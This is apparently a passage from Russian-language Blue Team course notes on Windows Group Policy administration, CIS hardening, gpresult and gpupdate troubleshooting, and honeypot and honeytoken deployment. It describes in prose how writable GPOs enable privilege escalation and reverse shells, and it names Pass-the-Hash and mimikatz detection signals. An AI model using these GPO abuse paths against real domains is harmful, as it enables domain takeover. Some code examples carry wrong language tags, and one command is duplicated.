На изображении ниже показан пример нескольких объектов групповой политики, связанных с подразделением Corp. Если с подразделением связано более одного объекта групповой политики, они обрабатываются на основе порядка связывания (Link Order). Объект групповой политики с наименьшим порядком обрабатывается последним, либо объект групповой политики с порядком 1 имеет наивысший приоритет, затем 2, 3 и т. д. Таким образом, в нашем примере выше объект групповой политики Disallow LM Hash будет иметь приоритет над объектами групповой политики Block Removable Media и Disable Guest Account, то есть он будет обработан первым. Можно указать параметр «Принудительно», чтобы применить настройки в конкретном объекте групповой политики. Если этот параметр установлен, параметры политики в объектах групповой политики, связанных с подразделениями нижнего уровня, **не могут** переопределить (override) эти параметры. Если объект групповой политики установлен на уровне домена с выбранным параметром «Принудительно», параметры, содержащиеся в этом объекте групповой политики, будут применены ко всем подразделениям в домене и не могут быть переопределены политиками подразделений более низкого уровня. Раньше этот параметр назывался «No Override» и устанавливался для соответствующего контейнера в разделе «Пользователи и компьютеры Active Directory» (Users and Computers). Ниже мы можем увидеть пример принудительного объекта групповой политики, где объект групповой политики Logon Banner имеет приоритет над объектами групповой политики, связанными с нижними подразделениями, и поэтому не будет переопределен. ![](https://ucarecdn.com/b091a8cf-da90-416b-907e-6f883d59fa09/) Принудительный приоритет политики объекта групповой политики: ![](https://ucarecdn.com/0d6bf76d-e8f4-444e-8506-6a9c74f683fb/) Независимо от того, для какого объекта групповой политики установлено принудительное применение, если применяется объект групповой политики доменной политики по умолчанию, он будет иметь приоритет над всеми объектами групповой политики на всех уровнях. ### Переопределение политики домена по умолчанию ![](https://ucarecdn.com/4cf3883c-a909-4126-af88-32b8fb46c52a/) Также можно установить параметр Block inheritance (блокировать наследование) для подразделения. Если это указано для конкретного подразделения, то политики более высокого уровня (например, на уровне домена) не будут применяться к этому подразделению. Если установлены оба параметра, параметр No Override имеет приоритет над параметром Block inheritance. Например, подразделение Computers наследует объекты групповой политики, установленные в подразделении Corp, как показано на рисунке ниже: ![](https://ucarecdn.com/9b75b5c9-f079-4d25-9e8a-0dfba161f4d8/) Если выбран параметр Block inheritance, мы увидим, что три объекта групповой политики, примененные выше к подразделению Corp, больше не применяются к подразделению Computers: ![](https://ucarecdn.com/dfb5ba83-43bf-42c3-a13f-4ecaad37c4bb/) ## **Значимость GPO в системном администрировании** GPO (Group Policy Object) — это мощный инструмент управления настройками безопасности в сетевых средах, который позволяет администраторам контролировать рабочие станции и серверы в рамках целой организации. Для членов Blue Team знание GPO особенно важно, так как это позволяет повысить уровень безопасности IT-инфраструктуры, применяя единую политику конфигураций, безопасности и управления. ## **Важность GPO в управлении безопасностью сетевых систем** GPO — это набор настроек, который создается в административном шаблоне и применяется к объектам Active Directory, таким как пользователи, группы, компьютеры и папки. Эти политики позволяют автоматизировать и стандартизировать конфигурационные и безопасностные настройки, управлять установкой программного обеспечения, обновлением паролей, ограничениями доступа и другими важными аспектами IT-систем. ## **Назначение Group Policy Objects в Windows** ### Локальные GPO (Local Group Policy Objects) Локальные GPO применяются к конкретному компьютеру и хранятся локально на этом компьютере. Они могут быть настроены непосредственно на самом компьютере без необходимости подключения к сети или домену. Обычно они используются для установки базовых настроек безопасности или конфигурации на отдельных компьютерах, например, для ограничения доступа к определенным ресурсам или приложениям. Их можно настроить через локальный Group Policy Editor (gpedit.msc). ### Сетевые GPO (Network Group Policy Objects) Сетевые GPO хранятся на контроллерах домена и применяются к объектам в Active Directory, таким как пользователи, компьютеры или группы. Они позволяют централизованно управлять настройками безопасности и конфигурацией для всех объектов в сети, которые являются частью домена. Сетевые GPO могут быть применены к организационным единицам (Organizational Units, OU), группам или пользователям. Они могут настраиваться через Group Policy Management Console (GPMC), доступный на контроллерах домена. Применение сетевых GPO особенно полезно в средних и крупных сетях, где требуется централизованное управление настройками и безопасностью на всех устройствах и для всех пользователей. Иерархия GPO обычно основывается на принципе "наследования". Это означает, что настройки из сетевых GPO могут наследоваться от более общих к более конкретным уровням Active Directory, таким как домен, организационная единица (OU), группа и пользователь. Локальные GPO имеют более высокий приоритет применения, чем сетевые GPO, поскольку они применяются непосредственно к конкретному компьютеру. # Обзор GPO и Group Policy Management Console (GPMC) ## **GPO, GPMC и RSoP** - **GPO** (Group Policy Object) — это инструменты для управления настройками безопасности и конфигурации в среде Windows. - **GPMC** (Group Policy Management Console) — централизованный интерфейс для работы с GPO. - **RSoP** (Resultant Set of Policy) — показывает результирующий набор политик, применяемых к конкретному пользователю или компьютеру. ### **Создание и управление GPO с использованием Group Policy Management Console (GPMC)** GPMC предлагает графический интерфейс для создания, редактирования и удаления GPO. Этот инструмент интегрируется с Active Directory и позволяет администраторам назначать политики на уровне доменов, сайтов и отдельных организационных единиц. #### **Создание GPO через GPMC** Создание нового GPO в GPMC просто: - нажмите правой кнопкой мыши на соответствующей организационной единице; - выберите "Создать GPO в этом домене и связать его здесь"; - задайте соответствующие настройки. ![](https://ucarecdn.com/3e7b461f-ac1d-431d-b6db-e26eb2d4f892/) #### **Редактирование GPO** Для редактирования существующего GPO, щелкните по нему правой кнопкой мыши и выберите "Изменить", после чего откроется редактор политик, где можно настроить необходимые параметры в разделах "Конфигурация компьютера" и "Конфигурация пользователя". ![](https://ucarecdn.com/2f24c4d0-611f-435f-81d1-87232af62724/) **Управление GPO** С помощью GPMC можно также управлять связями GPO, задавать фильтры безопасности для контроля применения политик к определенным пользователям или группам, а также использовать WMI-фильтры для более гранулированного применения политик на основе атрибутов компьютера. ### **Безопасная настройка для AD и Windows Server** В предыдущих темах мы рассматривали CIS Benchmarks — эти рекомендации также существуют и для GPO. В этом разделе мы рассмотрим, как реализовать набор сборки CIS L1 на домене Server 2019. CIS Benchmark для GPO включает в себя матрицу: ![](https://ucarecdn.com/df58f1d4-6543-4626-8f96-bf6dbd383357/) Мы будем использовать 3 GPO: - USER L1 - пользователи первого уровня; - DC-L1 - контроллер домена первого уровня; - DC-L1 Services - сервисы контроллера домена первого уровня. В Server 2019 откройте консоль управления групповыми политиками (GPMC) и создайте новый объект групповой политики. Дадим ему то же самое имя, что и стандарт CIS: ![](https://ucarecdn.com/706fa7e2-2d13-47c8-9d47-91822a774364/) Затем щелкните правой кнопкой мыши на созданной GPO и выберите "Import Settings" (Импортировать настройки), это запустит мастер импорта настроек. Вас попросят создать резервную копию существующей GPO, это можно пропустить, поскольку это новая GPO. Но если бы это была существующая GPO, рекомендуется выполнить резервное копирование, так как все настройки будут перезаписаны, и резервную копию можно будет использовать в случае, если нужно будет выполнить откат настроек. Затем вам будет предложено указать путь к папке "резервной копии" для импорта настроек. На первый взгляд этот шаг может показаться немного запутанным, так как предыдущий экран был о резервных копиях. На самом деле это путь к GPO комплекту сборки CIS, который нам нужно указать для импорта в нашу новую GPO. Ниже мы выбираем путь к нашей папке USER-L1: ![](https://ucarecdn.com/b34d4d05-e2e0-4dd6-ae77-453ce20fe2d5/) На следующем экране вы получите подтверждение найденной GPO: ![](https://ucarecdn.com/55ba1200-3b28-4c67-bcb0-cae12dbf2f76/) Подтвердите настройки: ![](https://ucarecdn.com/dc31a6ee-0c2a-403a-8e87-b5a696384ecd/) ![](https://ucarecdn.com/e7ad3659-2262-47d4-865a-7d6f08f5758a/) ### Связывание GPO Сейчас импортированные GPO не связаны с какими-либо организационными единицами (OU) в Active Directory и не активны. Для связывания GPO нажмите правой кнопкой мыши на OU домена (или на той OU, с которой вы хотите связать GPO) и выберите "Link an existing GPO" (Связать существующий GPO). ![](https://ucarecdn.com/9d3059e8-3688-45d3-8d1d-c508ebe77019/) Выберите GPO: ![](https://ucarecdn.com/b62a43df-1f39-4a3a-9bd5-66e56b2920b8/) Эти GPO затем появятся под выбранной вами ранее OU: ![](https://ucarecdn.com/b8bbc5ba-235c-4661-a288-a6171087d95e/) Теперь GPO активны и должны распространяться на все системы в вашем домене Active Directory. ### Тестирование На тестовом рабочем месте, включенном в домен, запустите команду `gpresult` для проверки применения GPO (далее мы подробнее рассмотрим `gpresult`). ``` ```r PS C:\Windows\system32> gpresult /H c:\gpreport.htm ``` ``` Посмотрите html-файл и убедитесь, что настройки GPO применились (столбец Winning GPO): ![](https://ucarecdn.com/6f44a6f5-2f30-476a-9dc0-597d7eec2db1/) Вы также можете проверить локальный редактор групповых политик (gpedit.msc), чтобы вручную проверить настройки: ![](https://ucarecdn.com/6ef15b12-3d40-40c0-b198-b1879ce9521b/) ### Безопасность объектов групповой политики Как упоминалось ранее, объекты групповой политики могут использоваться для проведения атак. Эти атаки могут включать добавление дополнительных прав к учетной записи пользователя, добавление локального администратора на хост или создание немедленного запланированного задания для запуска вредоносной команды, такой как изменение членства в группе, добавление новой учетной записи администратора, установка обратной оболочки. соединение или даже установку целевого вредоносного ПО по всему домену. Эти атаки обычно происходят, когда у пользователя есть права, необходимые для изменения объекта групповой политики, который применяется к подразделению, содержащему либо учетную запись пользователя, которую мы контролируем, либо компьютер. Ниже приведен пример пути атаки на GPO с помощью инструмента BloodHound. В данном примере группа Domain Users может изменять объект групповой политики Disconnect Idle RDP из-за членства в вложенной группе. Далее мы можем посмотреть, к каким подразделениям применяется этот объект групповой политики, и сможем ли мы использовать эти права для получения контроля над администратором или администратором домена или компьютером (сервером, контроллером домена или критически важным хостом) и двигаться дальше, чтобы повысить привилегии внутри домена: ![](https://ucarecdn.com/dc03ebf5-91f7-4b24-81ef-f21229aaf10e/) # Просмотр применения GPO После того как мы изучили основы GPO и их управления с помощью GPMC, перейдем к просмотру и проверке применения этих групповых политик на конкретные объекты и системы. ## **Введение в RSoP: графический интерфейс и команда из командной строки** Результативная политика (Resultant Set Of Policy, RSoP): - RSoP — это инструмент для понимания того, какие групповые политики были применены к компьютеру или пользователю, а также для диагностики проблем с политиками. - RSoP может быть использован в графическом интерфейсе через MMC (Microsoft Management Console), запустив rsop.msc, или с помощью команды в PowerShell. ### Использование команды gpresult `gpresult` — это командная утилита, которая показывает RSoP данных для локального или удаленного компьютера и пользователей. Основные параметры команды включают:
ParameterDescription
/s ``Для обозначения имени или IP-адреса удаленного хоста, используется без указания маски. Значение по умолчанию - локальный хост.
/u ``Для использования определенной УЗ для выполнения команды. Значение по умолчанию - текущий пользователь.
/p `[]`Для использования определенного пароля для УЗ, определенной в параметре **/u**. Если использовать **/u** без **/p**, **gpresult** запросит пароль. Параметр нельзя использовать с **/x** или **/h**.
/user `[\]]`Определяет пользователя, чьи RSoP данные нужно вывести.
/scope `{user | computer}`Выводит данные RSoP либо для пользователя, либо для компьютера. Если /scope не используется, то **gpresult** выводит данные RSoP и для пользователя, и для компьютера вместе.
`[/x | /h] `Для создания детального HTML или XML-отчета. Не может использоваться с **/u**, **/p**, **/r**, **/v**, or **/z**.
/fДля перезаписи имени файла, которое используется при создании отчета с помощью **/x** или **/h**.
/rВыводит суммированные данные RSoP.
/vОтображает подробную информацию о политике.
/zОтображает всю возможную информацию о групповой политике.
/?Для вывода помощи.
### Пример использования gpresult ``` ```r PS C:\Windows\system32> gpresult /H c:\GPReport.html ``` ``` Команда `gpresult /H GPReport.html` используется для создания отчета о результатах применения групповых политик (Group Policy Results Report) в формате HTML. Она позволяет получить подробную информацию о том, какие групповые политики были применены к конкретному пользователю или компьютеру в сети. После выполнения этой команды будет создан файл с именем "GPReport.html", который содержит подробный отчет о результатах применения групповых политик. В этом отчете вы найдете информацию о примененных политиках, их источниках, примененных параметрах и другие связанные с ними данные. ![](https://ucarecdn.com/476e64e9-332b-4ff3-9fcb-b3311ce3c929/) Этот отчет может быть полезен для отладки проблем с применением групповых политик, а также для проверки правильности конфигурации политик на конкретном компьютере или пользователе. Он позволяет администраторам подробно анализировать, какие политики были успешно применены, а какие не удалось применить, и выявлять возможные проблемы. Отчет `GPReport.html` содержит следующую информацию: 1. **Общая информация**: - Имя пользователя и имя компьютера. - Дата и время создания отчета. 2. **Сводка результатов применения групповых политик**: - Общее количество примененных групповых политик. - Список успешно примененных политик. - Список неудачных попыток применения политик. 3. **Подробная информация о примененных групповых политиках**: - Имя и описание каждой примененной политики. - Источник (локальный GPO, сетевой GPO и т. д.). - Состояние применения (успешно, неудачно и т. д.). - Список параметров и их значений, примененных в рамках каждой политики. 4. **Информация о контексте применения политик**: - Пользователи и группы, к которым применялись политики. - Список компьютеров, к которым применялись политики. 5. **Дополнительная информация**: - Логи и ошибки, связанные с применением групповых политик. ### GPUpdate и принудительное обновление политик Команда `gpupdate` (Group Policy Update) используется для обновления групповых политик на компьютере или пользователе. Она запускает процесс обновления настроек групповых политик с сервера домена или локального хранилища групповых политик. Вот основные задачи и цели команды `gpupdate`: 1. **Применение изменений групповых политик**: когда администратор вносит изменения в групповые политики в Active Directory, они не сразу применяются на клиентских компьютерах. Команда gpupdate позволяет немедленно обновить настройки групповых политик на компьютере или пользователе, чтобы применить изменения. 2. **Решение проблем с настройками**: иногда возникают ситуации, когда изменения в групповых политиках не применяются корректно на клиентских компьютерах. Запуск gpupdate может помочь в решении таких проблем путем принудительного обновления политик с помощью ключа `/force`. 3. **Отладка и тестирование**: во время разработки и тестирования групповых политик администраторы могут использовать gpupdate, чтобы немедленно применить изменения и убедиться, что они работают ожидаемым образом. 4. **Синхронизация настроек с доменом**: когда компьютер или пользователь подключаются к домену, они получают групповые политики с контроллера домена. gpupdate обновляет эти настройки, чтобы убедиться, что они соответствуют текущему состоянию в домене. 5. **Синхронизация настроек с локальным хранилищем**: Для компьютеров, работающих в автономном режиме или в отсутствие подключения к домену, gpupdate обновляет настройки с локального хранилища групповых политик. ### **Просмотр событий GPO в журнале событий Windows (eventvwr.msc)** Event Viewer Microsoft Management Console (MMC, eventvwr.msc) — консоль просмотра событий Windows. Это инструмент в операционной системе Windows, который позволяет администраторам просматривать, анализировать и управлять журналами событий компьютера. Чтобы открыть **eventvwr.msc** и найти журналы, связанные с Group Policy, выполните следующие шаги: 1. **Откройте Консоль просмотра событий**: - Нажмите Win + R для открытия диалогового окна "Выполнить". - Введите eventvwr.msc. - Или щелкните правой кнопкой мыши на кнопке Пуск и выберите "Консоль просмотра событий". 2. **Найдите журналы, связанные с Group Policy**: - В левой панели Консоли просмотра событий откройте раздел "Журналы Windows". - Разверните раздел "Журналы Windows", чтобы увидеть список доступных журналов. - Журналы, связанные с Group Policy, обычно находятся в разделе "Приложение" или "Система". 3. **Анализируйте журналы событий Group Policy**: - Чтобы найти события, связанные с Group Policy, щелкните на соответствующем журнале (например, "Приложение"). - Используйте фильтры или поиск, чтобы отфильтровать события, связанные с Group Policy. Обычно в журнале будут присутствовать события с источником "Group Policy" или "GroupPolicy". 4. **Проанализируйте события и сообщения**: - Просмотрите события, чтобы понять, какие политики были применены, успешно или с ошибками. - Изучите сообщения об ошибках или предупреждениях, чтобы выявить проблемы с применением Group Policy на компьютере или в сети. # Команды для мониторинга и отладки GPO ### Использование gpresult для создания отчета о примененных политиках с сохранением в HTML файл Чтобы создать отчет о примененных групповых политиках (Group Policy Objects, GPO) для пользователя или компьютера и сохранить его в HTML-файл, используется инструмент командной строки `gpresult`. Для работы с gpresult необходимо иметь права администратора на локальной машине или в домене, а также работать на компьютере на базе Windows. Вот как может выглядеть использование gpresult: 1\. Откройте командную строку с правами администратора. 2\. Введите следующую команду для создания отчета для текущего пользователя и его компьютера: ``` ```nginx PS C:\Windows\system32> gpresult /H GPReport.html ``` ``` Эта команда выполнит анализ примененных групповых политик и сохранит результат в файл `GPReport.html` в текущей директории. 3\. Если хотите создать отчет только для компьютера или только для пользователя, используйте ключ `/SCOPE`, например: \- для компьютера: ``` ```sql PS C:\Windows\system32> gpresult /SCOPE COMPUTER /H GPReport_Computer.html ``` ``` \- для пользователя: ``` ```sql PS C:\Windows\system32> gpresult /SCOPE USER /H GPReport_User.html ``` ``` 4\. По умолчанию отчет будет создан для текущего пользователя. Если необходимо создать отчет для другого пользователя, используйте ключ `/USER`, например: ``` ```sql PS C:\Windows\system32> gpresult /USER имя_пользователя /H GPReport_OtherUser.html ``` ``` Замените "имя\_пользователя" на фактическое имя пользователя, для которого нужно сгенерировать отчет. Открыть созданный HTML-файл можно в любом веб-браузере, чтобы проанализировать результаты. ### Принудительное обновление политик черед gpupdate, и как это помогает при их неправильном применении Одним из ключевых навыков является использование команды `gpupdate`, которая позволяет принудительно инициировать процесс обновления групповых политик. Это бывает полезно в ситуациях, когда изменения в политиках не применяются как ожидалось, и вам нужно вручную запустить процесс обновления, чтобы убедиться, что последние изменения были корректно распространены на пользователей и компьютеры в сети. Вот основы, которые можно рассмотреть: 1\. Для выполнения команды `gpupdate` откройте командную строку. Можно использовать "Командную строку" или "Windows PowerShell". 2\. Введите команду: ``` ```nginx PS C:\Windows\system32> gpupdate ``` ``` Это приведет к обновлению политик как для пользователя, так и для компьютера. По умолчанию gpupdate обновляет все политики, если какие-то политики были изменены, они будут применены с этой командой. 3\. Если вы хотите обновить только пользовательские или только компьютерные политики, используйте следующие команды: Для пользовательских политик: ``` ```bash PS C:\Windows\system32> gpupdate /target:user ``` ``` Для компьютерных политик: ``` ```bash PS C:\Windows\system32> gpupdate /target:computer ``` ``` 4\. Иногда может быть необходимо принудительно переприменить все связанные политики без учета их последнего времени обновления, для этого используйте ключ /force: ``` ```bash PS C:\Windows\system32> gpupdate gpupdate /force ``` ``` 5\. После запуска `gpupdate` система может потребовать перезагрузку или выход пользователя из системы, если некоторые политики не могут быть обновлены на лету. В этом случае будет предоставлен запрос с выбором выполнения этого действия сразу или отложить его на более удобное время. Использование `gpupdate` помогает решать проблемы с политиками, которые не применялись должным образом, путем их принудительного обновления, что позволяет администраторам быстро реагировать на изменения в конфигурации без ожидания следующего цикла автоматического обновления политик, и проверять результаты изменений в реальном времени. #### Частота обновления групповой политики При создании нового объекта групповой политики параметры не применяются автоматически сразу. Windows выполняет периодические обновления групповой политики, которые по умолчанию выполняются каждые 90 минут со случайным смещением +/- 30 минут для пользователей и компьютеров. По умолчанию период обновления контроллеров домена составляет всего 5 минут. При создании и связывании нового объекта групповой политики может пройти до 2 часов (120 минут), прежде чем настройки вступят в силу. Это случайное смещение +/- 30 минут установлено, чтобы избежать перегрузки контроллеров домена, поскольку все клиенты одновременно запрашивают групповую политику у контроллера домена. Можно изменить интервал обновления по умолчанию в самой групповой политике. Кроме того, мы можем ввести команду `gpupdate /force`, чтобы запустить процесс обновления. Эта команда сравнит объекты групповой политики, применяемые в настоящее время на компьютере, с контроллером домена и либо изменит, либо пропустит их в зависимости от того, изменились ли они с момента последнего автоматического обновления. Мы можем изменить интервал обновления с помощью групповой политики, открыв **Computer Configuration -> Policies -> Administrative Templates -> System -> Group Policy** и выбрав **Set Group Policy refresh interval for computers**. Стоит отметить, что хоть интервал и можно изменить, его не следует настраивать слишком часто, иначе это может вызвать перегрузку сети, что приведет к проблемам репликации. ![](https://ucarecdn.com/021b3192-9706-4be3-aaa5-c9369c5f0a29/) ## **Анализ и устранение неполадок** ### Проверка Журнала Событий на наличие ошибок GPO Важным навыком является проверка Журнала событий (Event Viewer) на предмет ошибок, связанных с GPO. Журнал событий Windows содержит записи о всех важных событиях системы, включая ошибки, предупреждения и информационные сообщения от различных служб и компонентов операционной системы, в том числе и связанные с групповыми политиками. - В Журнале событий раскройте раздел "Журналы Windows", а затем перейдите в подраздел "Система". Здесь вы увидите все системные события. Чтобы сузить круг поиска, можно использовать фильтр - "Фильтр текущего журнала...". - В фильтре можно задать параметры для поиска конкретных событий GPO. Введите источник события, такой как GroupPolicy, чтобы увидеть только события, связанные с групповыми политиками. - Найдите и проанализируйте ошибки, связанные с GPO. Их идентификаторы (ID события) и источник (обычно это Microsoft-Windows-GroupPolicy) помогут вам узнать больше о каждом конкретном случае. К примеру у нас есть некий список, что нужно для устранения: 1. **Проверьте подробности события**: Используйте Журнал событий для поиска ошибок, связанных с Group Policy. Обратите внимание на ID события, уровень серьезности, сообщение об ошибке и любые предлагаемые действия или коды. 2. **Проверка связи с доменным контроллером**: Убедитесь, что компьютер может связываться с доменным контроллером. Используйте ping, nslookup, и другие сетевые утилиты для диагностики проблем с сетью. 3. **Фильтрация GPO**: Проверьте, нет ли настроек фильтрации на ваши групповые политики, которые могут исключать определенные объекты из области их действия. Убедитесь, что WMI-фильтры и целевая выборка работают корректно и не ограничивают применение GPO. 4. **Проверка разрешений GPO**: Проверьте, имеют ли учетные записи пользователей или компьютеров соответствующие разрешения для применения групповой политики. Необходимыми разрешениями обычно являются "Прочитать" и "Применить групповую политику". 5. **Конфликтующие и перезаписывающие настройки**: Рассмотрите возможность того, что одна политика перезаписывает другую. Используйте инструменты моделирования и планирования Group Policy Management Console (GPMC) для анализа результата применения политик. 6. **Восстановление синхронизации**: Иногда GPO могут не применяться из-за проблем с репликацией или синхронизацией. Убедитесь, что все доменные контроллеры синхронизированы и актуальны. 7. **Просмотр журналов на стороне сервера**: П​олезно проверить журналы на доменном контроллере, чтобы увидеть, возникали ли там ошибки, которые могли повлиять на распространение политик. 8. **Обновление шаблонов административных шаблонов (ADM/ADMX)**: Устаревшие или поврежденные файлы шаблонов могут вызвать проблемы с применением политик. Проверьте, что используются актуальные версии ADM/ADMX-файлов. 9. **Проверка наличия последних обновлений**: Убедитесь, что на клиентских компьютерах и доменных контроллерах установлены последние обновления операционной системы, поскольку в них могут содержаться патчи для известных проблем с GPO. ### **Набор инструментов для обеспечения соответствия требованиям безопасности и базовые параметры** **Microsoft Security Compliance Toolkit** (MSCT) — это набор инструментов и руководств, предоставляемых Microsoft для помощи организациям в обеспечении безопасности и соответствия в их информационных системах, особенно в операционных системах Windows. В рамках Microsoft Security Compliance Toolkit доступны следующие ресурсы: 1. **Готовые конфигурации безопасности**: MSCT включает в себя готовые наборы рекомендаций по настройке безопасности для различных продуктов Microsoft, таких как операционные системы Windows, серверы и приложения. Эти наборы конфигураций, называемые бенчмарками безопасности (Security Baselines), содержат набор рекомендуемых настроек безопасности, которые можно применить с помощью групповых политик (GPO) для обеспечения соответствия и улучшения безопасности в организации. 2. **Инструменты анализа и реализации**: В состав Toolkit входят инструменты для анализа безопасности существующих систем и для реализации рекомендуемых настроек безопасности. Например, инструменты Security Compliance Toolkit могут автоматически проверить соответствие существующих систем установленным бенчмаркам безопасности и предоставить рекомендации по улучшению безопасности. 3. **Документация и руководства**: MSCT включает в себя подробные руководства по применению бенчмарков безопасности и использованию инструментов Toolkit. Эти руководства помогают администраторам понять рекомендации по настройке безопасности и успешно применить их в своей среде. Бенчмарки безопасности, предоставляемые в составе Toolkit, часто используются для настройки безопасности с помощью групповых политик. Администраторы могут импортировать бенчмарки безопасности в GPO и применить их настройки к компьютерам и пользователям в своей сети, чтобы обеспечить соответствие установленным стандартам безопасности и улучшить защиту систем от угроз. Более подробную информацию можно посмотреть по [ссылке](https://learn.microsoft.com/ru-ru/windows/security/operating-system-security/device-management/windows-security-configuration-framework/windows-security-baselines). ## Полезные команды ``` ```rust Copy-GPO -SourceName "GPO to copy" -TargetName "Name" ``` ``` Копирует групповую политику "GPO to copy" для использования в качестве новой политики с именем "Name". ``` ```sql New-GPLink -Name "Security Analysts Control" -Target "ou=Security Analysts,ou=IT,OU=HQ-NYC,OU=Employees,OU=Corp,dc=SECOPS,dc=LOCAL" -LinkEnabled Yes ``` ``` Создает новую групповую политику и связывает ее с выбранным подразделением или группой безопасности. ``` ```cmake Set-GPLink -Name "Security Analysts Control" -Target "ou=Security Analysts,ou=IT,OU=HQ-NYC,OU=Employees,OU=Corp,dc=SECOPS,dc=LOCAL" -LinkEnabled Yes ``` ``` Связывает существующую групповую политику с соответствующим подразделением или группой безопасности. # Honeypot Honeypot-системы (или узлы-приманки) — вычислительные системы, предназначенные для привлечения внимания, чтобы атака была направлена на поддельную систему. Узлы-приманки позволяют собирать ценную информацию об атакующих для дальнейшего анализа их поведения и предотвращения будущих атак. Решают задачи: - Сбор информации о злоумышленнике: при проведении атаки собирается информация о событиях в узле-приманке. Собранный журнал событий анализируется, из полученных данных составляется модель поведения атакующего, что позволяет выявлять и предотвращать новые вектора атак. - Отвлечение атакующего от ресурсов системы, что позволяет избежать утечек или сбоев в реальной системе. - Оценка эффективности применения других средств защиты. Эффективность использования зависит от их размещения. Важно учитывать тип эмулируемого ресурса в зависимости от располагаемых активов. **Классификация** Классифицируют по их назначению (исследовательские и производственные) и уровню взаимодействия (низкий, средний и высокий). - Исследовательская: сбор информации о кибератаках, угрозах, с которыми могут столкнуться организации, что позволяет лучше их защитить. - Производственная: используется в среде организации для ее защиты и снижения рисков. Оповещают администраторов о потенциальных атаках в режиме реального времени. По уровню взаимодействия: - Низкий — производственные, имитируют сервисы, которые нельзя использовать для получения полного доступа к узлу. - Средний более сложные и предоставляют больше векторов атак. - Высокий — полнофункциональные ОС и приложения. После проникновения внутрь производится анализ его активности в системе. Honeynet – сеть из связанных узлов, которые находятся под управлением специального межсетевого экрана, называемого honeywall. Размещение honeynet в корпоративной сети [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/6uaimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/6uaimage.png) Скомпрометированные системы представляют угрозу для сети компании. Поскольку приманки предназначены для компрометации, злоумышленники могут получить к ним полный доступ, создать ботнет, а затем атаковать другие системы или запустить DoS-атаку. Чтобы уменьшить риск заражения, сеть-приманка помещается за межсетевым экраном, который ограничивает доступ к производственной сети, поскольку через нее должен проходить весь входящий и исходящий трафик. Это также ограничивает объем вредоносного трафика, который может выйти из сети, не позволяя злоумышленнику атаковать другие системы. Наиболее актуальная стадия развития honeypot-систем — deception-системы. Основной целью deception-систем по-прежнему является отвлечение атакующего от реальных ресурсов компании, но в масштабе, большем, чем в honeynet. Решения deception предполагают автоматизированный подход к обнаружению атак. Deception-системы эмулируют поведение инфраструктуры. Например, в рамках атаки злоумышленник может обнаружить эмулируемые сервера баз данных, размещенных рядом с другими незначительными с точки зрения ценности информации объектами сети. Исследование полученных сведений из баз данных позволит отвлечь атакующего от реальных активов. **Обнаружение разведки Active Directory при помощи Honeytoken** Создается поддельная учетная запись домена. При попытке логина в журнале событий (eventvwr. msc) появится запись с идентификатором события 4625 и имя поддельной учетной записи. Также зарегистрируется событие 4771. При вводе учетной записи, рабочая станция связывается с локальным контроллером домена и запрашивает TGT. Если имя пользователя и пароль верны и учетная запись пользователя проходит проверки состояния и ограничений, контроллер домена предоставляет TGT и регистрирует событие с идентификатором 4768 (билет аутентификации предоставлен). Если запрос билета завершается неудачей, Windows регистрирует это событие с идентификатором 4771. Для получения уведомлений при регистрации данных событий необходимо: - Сгенерировать Canary-токен (например, при помощи сервиса по ссылке) который будет срабатывать при переходе на URL (Web bug/URL token). - В планировщике заданий Windows создать задачу, которая будет выполняться при возникновении события. - В качестве фильтра событий указать: ```xml         ``` - В качестве действия, выполняемого при срабатывании события, указать запуск curl.exe, а в качестве аргумента указать ссылку на ранее созданный canary-токен. **HoneyHash.** Для обнаружения атаки Pass-the-Hash. Включает размещение учетных данных для поддельной учетной записи в памяти LSASS на целевой системе. Если злоумышленник попытается воспользоваться учетными данными для атаки PtH, событие будет зарегистрировано для дальнейшего анализа. Такие события могут быть зарегистрированы при помощи Sysmon. При попытке проведения атаки PtH журнал событий будет содержать события с идентификаторами 4625 (неудачная попытка входа) и 10 (попытка доступа к процессу lsass.exe процессом mimikatz.exe). Чтобы сделать поддельную учетную запись привлекательнее, возможно: - Перепрофилировать старую учетную запись, которая была неактивна. Это «старит» аккаунт и обеспечивает некоторый уровень легитимности. - Выполнить вход в систему несколько раз: неактивные учетные записи выглядят подозрительно. Возможно настроить запланированное задание для входа в систему с этой учетной записью ежедневно или еженедельно, чтобы повысить активность учетной записи. Если предполагается использование неактивной учетной записи-приманки, необходимо убедиться в том, что с ней связано несколько входов в систему, поскольку злоумышленники могут проверить атрибут logoncount. - Совершить хотя бы одну попытку ввода неверного пароля. - Добавить учетную запись в привилегированную группу AD, установив при этом автоматически сгенерированный пароль. **Примеры систем** В зависимости от специфики корпоративной сети возможно использование honeypot’ов с различным уровнем взаимодействия. При разворачивании honeypot’ов, представляющих собой конкретный сервис стоит понимать, что ловушка может либо имитировать работу конкретного протокола, либо выполнять полную эмуляцию сервиса. В первом случае не предусмотрены функциональные возможности сервиса, во втором случае решения используют надстройку над реальными службами для перехвата и дальнейшего анализа информации. **Honeypot-системы для баз данных** - **[Delilah](https://github.com/SecurityTW/delilah)** — действует как уязвимый экземпляр Elasticsearch, который обнаруживает и идентифицирует паттерны атак, попытки сканирования и команды загрузки (в частности, «wget» и «curl»). - **[Nosqlpot](https://github.com/torque59/nosqlpot)** — приманка с открытым исходным кодом для баз данных nosql, которая автоматизирует процесс обнаружения злоумышленников и регистрации инцидентов атак. Механизмы моделирования развертываются с использованием фреймворка Twisted. - [**mysql-honeypotd**](https://github.com/sjinks/mysql-honeypotd) — honeypot с низким уровнем взаимодействия, имитирующий работу БД MySQL. **Honeypot-системы для** **веб-приложений:** - **[Glastoph](https://github.com/mushorg/glastopf)** — Реализован на языке Python версии 2.7, имеет ряд шаблонов html-страниц. Приложение, которое имитирует данная ловушка, может быть дописано или вовсе переделано в зависимости от нужд пользователей. В данном honeypot присутствует эмуляция популярных типов атак: удаленное включение файлов (RFI) через встроенную песочницу PHP, включение локальных файлов (LFI) из виртуальной файловой системы и внедрение HTML через запросы POST. - **[DShield](https://github.com/DShield-ISC/dshield)** — Web Honeypot состоит из 3 элементов: клиент, набор шаблонов и система логирования событий. Все веб-запросы, поступающие на приманку, передаются модулю-клиенту. Клиент пытается сопоставить запрос к веб-приложению с одним из шаблонов, установленных в приманке. Если подходящий шаблон найден, он отправляется пользователю, который произвел запрос. Если шаблон недоступен, возвращается веб-страница по умолчанию. В обоих случаях конкретный запрос веб-приложения регистрируется и отправляется в центральную базу данных DShield. - **[Honeyhttpd](https://github.com/bocajspear1/honeyhttpd)** — это honeypot-платформа веб-сервера на основе Python. HoneyHTTPD позволяет создавать 